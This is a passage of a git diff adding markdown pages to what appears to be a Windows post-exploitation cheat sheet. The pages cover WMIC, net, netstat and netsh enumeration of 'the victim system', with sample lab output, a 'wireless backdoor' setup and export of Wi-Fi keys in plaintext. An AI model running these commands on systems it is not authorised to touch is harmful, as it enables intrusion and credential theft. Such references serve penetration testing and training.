ProcessId = 1936;
ReturnValue = 0;
};
+ +### Process Information + * **Command with arguments**: `wmic process get caption,executablepath,commandline` + * **Description**: Retrieves process names, captions, executable paths and command line flags. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic process get caption,executablepath,commandline
Caption CommandLine ExecutablePath
System Idle Process
System
smss.exe
csrss.exe
[...SNIP...]
dllhost.exe
dwm.exe "C:\Windows\system32\Dwm.exe" C:\Windows\system32\Dwm.exe
taskeng.exe taskeng.exe {72464C44-C181-4387-A20A-569E0267D2AF} C:\Windows\system32\taskeng.exe
TPAutoConnect.exe TPAutoConnect.exe -q -i vmware -a COM1 -F 30 C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
explorer.exe C:\Windows\Explorer.EXE C:\Windows\Explorer.EXE
VMwareTray.exe "C:\Program Files\VMware\VMware Tools\VMwareTray.exe" C:\Program Files\VMware\VMware Tools\VMwareTray.exe
vmtoolsd.exe "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
cmd.exe "C:\Windows\System32\cmd.exe" C:\Windows\System32\cmd.exe
cmd.exe
TrustedInstaller.exe
WMIC.exe wmic process get caption,executablepath,commandline C:\Windows\System32\Wbem\WMIC.exe
WmiPrvSE.exe
+ +### Process Terminate + * **Command with arguments**: `wmic process where name="[PROCESS]" call terminate` + * **Description**: Terminates a process. Replace [PROCESS] with the name of the process you'd like to terminate and you *DO* need the quotes around it (for example: calc.exe). + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic process where name="calc.exe" call terminate
Executing (\\WIN-0P19ULL2NB6\ROOT\CIMV2:Win32_Process.Handle="1936")->terminate()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ReturnValue = 0;
};
+ +### Service Information + * **Command with arguments**: `wmic service [list full]` + * **Description**: Retrieves ton of information about all the services installed on the system. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic service list full


AcceptPause=FALSE
AcceptStop=TRUE
Caption=Application Experience
CheckPoint=0
CreationClassName=Win32_Service
Description=Processes application compatibility cache requests for applications as they are launched
DesktopInteract=FALSE
DisplayName=Application Experience
ErrorControl=Normal
ExitCode=0
InstallDate=
Name=AeLookupSvc
PathName=C:\Windows\system32\svchost.exe -k netsvcs
ProcessId=1056
ServiceSpecificExitCode=0
ServiceType=Share Process
Started=TRUE
StartMode=Auto
StartName=localSystem
State=Running
Status=OK
SystemCreationClassName=Win32_ComputerSystem
SystemName=WIN-0P19ULL2NB6
TagId=0
WaitHint=0


AcceptPause=FALSE
AcceptStop=FALSE
Caption=Application Layer Gateway Service
CheckPoint=0
CreationClassName=Win32_Service
Description=Provides support for 3rd party protocol plug-ins for Internet Connection Sharing
DesktopInteract=FALSE
DisplayName=Application Layer Gateway Service
ErrorControl=Normal
ExitCode=1077
InstallDate=
Name=ALG
PathName=C:\Windows\System32\alg.exe
ProcessId=0
ServiceSpecificExitCode=0
ServiceType=Own Process
Started=FALSE
StartMode=Manual
StartName=NT AUTHORITY\LocalService
State=Stopped
Status=OK
SystemCreationClassName=Win32_ComputerSystem
SystemName=WIN-0P19ULL2NB6
TagId=0
WaitHint=0
[...Truncated for brevity...]
+ +### Share Information + * **Command with arguments**: `wmic share [list brief]` + * **Description**: Retrieve information about local shares. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic share list brief +Description Name Path +Remote Admin ADMIN$ C:\Windows +Default share C$ C:\ +Remote IPC IPC$ +Logon server share NETLOGON C:\Windows\SYSVOL\sysvol\lab.sky.net\SCRIPTS +Logon server share SYSVOL C:\Windows\SYSVOL\sysvol
+ +### Startup Items + * **Command with arguments**: `wmic startup [list brief]` + * **Description**: Shows startup items, which user runs them and full paths to the executables. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic startup list brief
Caption Command User
VMware Tools "C:\Program Files\VMware\VMware Tools\VMwareTray.exe" Public
VMware User Process "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr Public
+ +### User Information + * **Command with arguments**: `wmic useraccount [list full]` + * **Description**: Retrieve information about the user accounts on the system. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic useraccount list full


AccountType=512
Description=Built-in account for administering the computer/domain
Disabled=FALSE
Domain=LAB
FullName=
InstallDate=
LocalAccount=FALSE
Lockout=FALSE
Name=Administrator
PasswordChangeable=TRUE
PasswordExpires=TRUE
PasswordRequired=TRUE
SID=S-1-5-21-60789211-843652525-1994898995-500
SIDType=1
Status=OK


AccountType=512
Description=Key Distribution Center Service Account
Disabled=TRUE
Domain=LAB
FullName=
InstallDate=
LocalAccount=FALSE
Lockout=FALSE
Name=krbtgt
PasswordChangeable=TRUE
PasswordExpires=TRUE
PasswordRequired=TRUE
SID=S-1-5-21-60789211-843652525-1994898995-502
SIDType=1
Status=Degraded


AccountType=512
Description=
Disabled=FALSE
Domain=LAB
FullName=John Doe
InstallDate=
LocalAccount=FALSE
Lockout=FALSE
Name=johndoe
PasswordChangeable=TRUE
PasswordExpires=TRUE
PasswordRequired=TRUE
SID=S-1-5-21-60789211-843652525-1994898995-1001
SIDType=1
Status=OK
\ No newline at end of file diff --git a/windows/windows_cmd_network.md b/windows/windows_cmd_network.md new file mode 100644 index 0000000..e4859dd --- /dev/null +++ b/windows/windows_cmd_network.md @@ -0,0 +1,372 @@ + + + +# Windows CMD Network Commands + +The Windows commands below will help you gather information about the victim system's network connections, devices and capabilities and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. + +## ipconfig +### Retrieve Local DNS Cache Info + * **Command with arguments**: `ipconfig /displaydns` + * **Description**: Displays the system's local DNS cache. + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>ipconfig /displaydns
Windows IP Configuration
+ 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa + ----------------------------------------
Record Name . . . . . : 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa. + Record Type . . . . . : 12 + Time To Live . . . . : 86400 + Data Length . . . . . : 4 + Section . . . . . . . : Answer + PTR Record . . . . . : localhost

+ 1.0.0.127.in-addr.arpa + ----------------------------------------
Record Name . . . . . : 1.0.0.127.in-addr.arpa. + Record Type . . . . . : 12 + Time To Live . . . . : 86400 + Data Length . . . . . : 4 + Section . . . . . . . : Answer + PTR Record . . . . . : localhost

+ _ldap._tcp.default-first-site-name._sites.win-0p19ull2nb6.lab.sky.net + ----------------------------------------
Name does not exist.

+ _ldap._tcp.win-0p19ull2nb6.lab.sky.net + ----------------------------------------
Name does not exist.

+ localhost + ----------------------------------------
Record Name . . . . . : localhost + Record Type . . . . . : 1 + Time To Live . . . . : 86400 + Data Length . . . . . : 4 + Section . . . . . . . : Answer + A (Host) Record . . . : 127.0.0.1

+ localhost + ----------------------------------------
Record Name . . . . . : localhost + Record Type . . . . . : 28 + Time To Live . . . . : 86400 + Data Length . . . . . : 16 + Section . . . . . . . : Answer + AAAA Record . . . . . : ::1 +
+ +### Retrieve NIC Info + * **Command with arguments**: `ipconfig /all` + * **Description**: Displays the full information about the system's network interface cards (NICs). + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\jondoe>ipconfig /all
+Windows IP Configuration
+ Host Name . . . . . . . . . . . . : WIN-0P19ULL2NB6 + Primary Dns Suffix . . . . . . . : lab.sky.net + Node Type . . . . . . . . . . . . : Hybrid + IP Routing Enabled. . . . . . . . : No + WINS Proxy Enabled. . . . . . . . : No + DNS Suffix Search List. . . . . . : lab.sky.net + sky.net
+Ethernet adapter Local Area Connection:
+ Connection-specific DNS Suffix . : + Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection + Physical Address. . . . . . . . . : 00-0C-29-9A-E2-26 + DHCP Enabled. . . . . . . . . . . : No + Autoconfiguration Enabled . . . . : Yes + Link-local IPv6 Address . . . . . : fe80::11bc:e019:25e5:916d%10(Preferred) + IPv4 Address. . . . . . . . . . . : 192.168.10.34(Preferred) + Subnet Mask . . . . . . . . . . . : 255.255.255.0 + Default Gateway . . . . . . . . . : 192.168.10.1 + DHCPv6 IAID . . . . . . . . . . . : 234884137 + DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-19-E6-78-04-00-0C-29-9A-E2-26 + DNS Servers . . . . . . . . . . . : ::1 + 127.0.0.1 + NetBIOS over Tcpip. . . . . . . . : Enabled
+Tunnel adapter Local Area Connection* 8:
+ Media State . . . . . . . . . . . : Media disconnected + Connection-specific DNS Suffix . : + Description . . . . . . . . . . . : isatap.{DDE3DF3D-3417-4EBF-BF66-73BD3A64FF26} + Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0 + DHCP Enabled. . . . . . . . . . . : No + Autoconfiguration Enabled . . . . : Yes
+---- + +## Misc +### arp + * **Command with arguments**: `arp -a` + * **Description**: Lists all the systems currently in the machine's ARP table. + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>arp -a
+Interface: 192.168.10.34 --- 0xa + Internet Address Physical Address Type + 192.168.10.255 ff-ff-ff-ff-ff-ff static + 224.0.0.22 01-00-5e-00-00-16 static + 224.0.0.252 01-00-5e-00-00-fc static
+ +### wmic + * **Command with arguments**: `wmic ntdomain list` + * **Description**: Retrieve information about Domain and Domain Controller. + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>wmic ntdomain list +DomainGuid +{CD5C2FE3-5AFE-459D-804E-A81B49066CAD}
+---- + +## net +For more information: http://technet.microsoft.com/en-us/library/bb490949.aspx + +### Accounts + * **Command with arguments**: `net accounts [/domain | /domain:OTHERDOMAINNAME]` + * **Description**: Prints the password policy for the local system. Pass it the `/domain` option to query the domain for the domain password policy. + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net accounts +Force user logoff how long after time expires?: Never +Minimum password age (days): 1 +Maximum password age (days): 42 +Minimum password length: 7 +Length of password history maintained: 24 +Lockout threshold: Never +Lockout duration (minutes): 30 +Lockout observation window (minutes): 30 +Computer role: PRIMARY +The command completed successfully.
+ +### Group + * **Command with arguments**: `net group "GROUPNAME" /domain` + * **Description**: Prints the members of the Administrators local group. The /domain switch can show you the list of current domain admins. + +Note: This command can only be used on a Windows Domain Controller. + + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net group "domain admins" +Group name Domain Admins +Comment Designated administrators of the domain
+Members
+-------------------------------------------------------------------------------
+Administrator +The command completed successfully.
+ +### Local Group + * **Command with arguments**: `net localgroup "GROUPNAME" [/domain]` + * **Description**: Prints the members of the local group "GROUPNAME". The `/domain` switch can show you members of domain groups. + +Note: This command can only be used on a Windows Domain Controller. + + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net localgroup administrators +Alias name administrators +Comment Administrators have complete and unrestricted access to the computer/domain
+Members
+-------------------------------------------------------------------------------
+Administrator +Domain Admins +Enterprise Admins +johndoe +The command completed successfully.
+ +### Queries SMB Hosts/Domain + * **Command with arguments**: `net view [/domain | /domain:OTHERDOMAINNAME]` + * **Description**: Queries NBNS/SMB (SAMBA) and tries to find all hosts in the system's current workgroup. Add the `/domain` option if the current system is joined to a domain. To query a different domain, use the `/domain:OTHERDOMAINNAME` option. + * **Output**: + * (Coming soon!) + +### Session + * **Command with arguments**: `net session` + * **Description**: Displays information about all connections to the computer. + +Note: Needs to be launched within an administrative command shell. + + * **Output**: + * (Coming soon!) + +### Share + * **Command with arguments**: `net share` + * **Description**: Displays the system's currently shared SMB entries, and what path(s) they point to. + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net share
+Share name Resource Remark
+-------------------------------------------------------------------------------
C$ C:\ Default share +IPC$ Remote IPC +ADMIN$ C:\Windows Remote Admin +NETLOGON C:\Windows\SYSVOL\sysvol\lab.sky.net\SCRIPTS Logon server share +SYSVOL C:\Windows\SYSVOL\sysvol Logon server share +The command completed successfully.
+ +### Users (List local/domain) + * **Command with arguments**: `net user [/domain]` + * **Description**: Lists the local users or, if the `/domain` option is passed, users on the computer's domain. + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net user
+User accounts for \\WIN-0P19ULL2NB6
+-------------------------------------------------------------------------------
Administrator Guest johndoe
krbtgt
The command completed successfully.
+ +### Users (Detailed User Information) + * **Command with arguments**: `net user %USERNAME% [/domain]` + * **Description**: Lists detailed information about the current local user or, if the `/domain` option is passed, the account on the computer's domain. If it is a local user then drop the `/domain`. Important things to note are login times, last time changed password, logon scripts, and group membership. You may wish to run this twice, once with and once without the `/domain` switch to find both local and domain accounts. + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net user johndoe +User name johndoe +Full Name John Doe +Comment +User's comment +Country code 000 (System Default) +Account active Yes +Account expires Never
+Password last set 10/10/2013 8:57:02 PM +Password expires 11/21/2013 8:57:02 PM +Password changeable 10/11/2013 8:57:02 PM +Password required Yes +User may change password Yes
+Workstations allowed All +Logon script +User profile +Home directory +Last logon 10/15/2013 6:53:42 PM
+Logon hours allowed All
+Local Group Memberships *Administrators *Users +Global Group memberships *Domain Users +The command completed successfully.
+ +---- + +## netsh +For more information: http://technet.microsoft.com/en-us/library/bb490939.aspx + +### Network Services + * **Command with arguments**: `netsh diag show all` + * **Description**: Shows information on network services and adapters. + +Note: Windows XP only. + + * **Output**: + * (Coming soon!) + +### Wireless Backdoor Creation + * **Command with arguments**: + 1. `netsh wlan set hostednetwork mode=[allow\|disallow]` + 1. `netsh wlan set hostednetwork ssid= key= keyUsage=persistent\|temporary` + 1. `netsh wlan [start|stop] hostednetwork` + * **Description**: + 1. Enables or disables hostednetwork service. + 1. Complete hosted network setup for creating a wireless backdoor. + 1. Starts or stops a wireless backdoor. See below to set it up. + +Note: Windows 7 only. + + * **Output**: + * (Coming soon!) + +### Wireless Profile Viewing + * **Command with arguments**: `netsh wlan show profiles` + * **Description**: Shows all saved wireless profiles. You may then export the info for those profiles with the other netsh commands listed here. + * **Output**: + * (Coming soon!) + +### Wireless Profile Exporting + * **Command with arguments**: `netsh wlan export profile folder=. key=clear` + * **Description**: Exports a user wifi profile with the password in plaintext to an XML file in the current working directory. + * **Output**: + * (Coming soon!) + +---- +## netstat +For more information: http://technet.microsoft.com/en-us/library/bb490947.aspx + +### Find Information about a specific Service + * **Command with arguments**: `netstat -nabo | findstr /I (SERVICE|PROCESS|PORT)` + * **Description**: If you are interested in finding out more information about a specific service, process or port this will provide greater depth of information. The `netstat -b` flag makes the command take longer but will output the process name using each of the connections. + +Note: Needs to be launched within an administrative command shell due to the `-b`. + + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Windows\system32>netstat -nabo |findstr /I 445
+ TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 + TCP [::]:445 [::]:0 LISTENING 4 + UDP 0.0.0.0:62445 *:* 1756 + UDP 0.0.0.0:63445 *:* 1756 + UDP [::]:49445 *:* 1756 + UDP [::]:64445 *:* 1756 + UDP [::]:64450 *:* 1756 + UDP [::]:64451 *:* 1756
+ +### Find Listeners + * **Command with arguments**: `netstat -na | findstr :80` + * **Description**: Find all listening ports and connections on port 80 (replace 80 with your target such as `445` or `3389`). + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>netstat -na | findstr :445 + TCP 0.0.0.0:445 0.0.0.0:0 LISTENING + TCP [::]:445 [::]:0 LISTENING
+ +### Find Listeners and Process IDs + * **Command with arguments**: `netstat -nao | findstr /I listening` + * **Description**: Find all listening ports and their associated PIDs (Process IDs). The `findstr /I` switch makes the search case insensitive. This could be important if you are looking for a buMPy service (example: `svchost` vs. `SVChost`) or don't know the case of it. + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>netstat -nao | findstr /I listening + TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 592 + TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 908 + TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 592 + TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 + TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 592 + TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 908 + TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 592 + TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 592 + TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 592 + TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1208 + TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 500 + TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 984 + TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 1056 + TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING 592 + TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING 592 + TCP 0.0.0.0:49158 0.0.0.0:0 LISTENING 592 + TCP 0.0.0.0:49161 0.0.0.0:0 LISTENING 1804 + TCP 0.0.0.0:49169 0.0.0.0:0 LISTENING 1756 + TCP 0.0.0.0:49170 0.0.0.0:0 LISTENING 580 + TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1756 + TCP 192.168.10.34:53 0.0.0.0:0 LISTENING 1756 + TCP 192.168.10.34:139 0.0.0.0:0 LISTENING 4 + TCP [::]:88 [::]:0 LISTENING 592 + TCP [::]:135 [::]:0 LISTENING 908 + TCP [::]:389 [::]:0 LISTENING 592 + TCP [::]:445 [::]:0 LISTENING 4 + TCP [::]:464 [::]:0 LISTENING 592 + TCP [::]:593 [::]:0 LISTENING 908 + TCP [::]:636 [::]:0 LISTENING 592
+ +### List Ports and Connections + * **Command with arguments**: `netstat -nabo` + * **Description**: Lists ports on and connections with the system with corresponding process (`-b`), without performing DNS lookup (`-n`), all connections (`-a`) and what is the owning process ID (`-o`). The `-b` switch is the switch in this command that requires elevated or admin privileges to execute. Omit it and you do not need to have an admin cmd shell. + + Note: Needs to be launched within an administrative command shell. + + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Windows\system32>netstat -nabo
+Active Connections
+ Proto Local Address Foreign Address State PID + TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 592 + [lsass.exe] + TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 908 + RpcSs + [svchost.exe] + TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 592 + [lsass.exe] + TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
+ Can not obtain ownership information
+x: Windows Sockets initialization failed: 5 + TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 592 + [lsass.exe] + TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 908 + RpcSs + [svchost.exe] + TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 592 + [lsass.exe] + TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 592 + [lsass.exe] + TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 592 + [lsass.exe] + TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1208 + Dnscache
+ +### Routing Table + * **Command with arguments**: `netstat -r` + * **Description**: Displays the system's routing table. + * **Output**: + *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>netstat -r
===========================================================================
Interface List
10 ...00 0c 29 9a e2 26 ...... Intel(R) PRO/1000 MT Network Connection
1 ........................... Software Loopback Interface 1
12 ...00 00 00 00 00 00 00 e0 isatap.{DDE3DF3D-3417-4EBF-BF66-73BD3A64FF26}
11 ...02 00 54 55 4e 01 ...... Teredo Tunneling Pseudo-Interface
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.10.1 192.168.10.34 266
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
127.0.0.1 255.255.255.255 On-link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-link 127.0.0.1 306
192.168.10.0 255.255.255.0 On-link 192.168.10.34 266
192.168.10.34 255.255.255.255 On-link 192.168.10.34 266
192.168.10.255 255.255.255.255 On-link 192.168.10.34 266
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306
224.0.0.0 240.0.0.0 On-link 192.168.10.34 266
255.255.255.255 255.255.255.255 On-link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-link 192.168.10.34 266
===========================================================================
Persistent Routes:
Network Address Netmask Gateway Address Metric
0.0.0.0 0.0.0.0 192.168.10.1 Default
===========================================================================

IPv6 Route Table
===========================================================================
Active Routes:
If Metric Network Destination Gateway
1 306 ::1/128 On-link
10 266 fe80::/64 On-link
10 266 fe80::11bc:e019:25e5:916d/128
On-link
1 306 ff00::/8 On-link
10 266 ff00::/8 On-link
===========================================================================
Persistent Routes:
None
\ No newline at end of file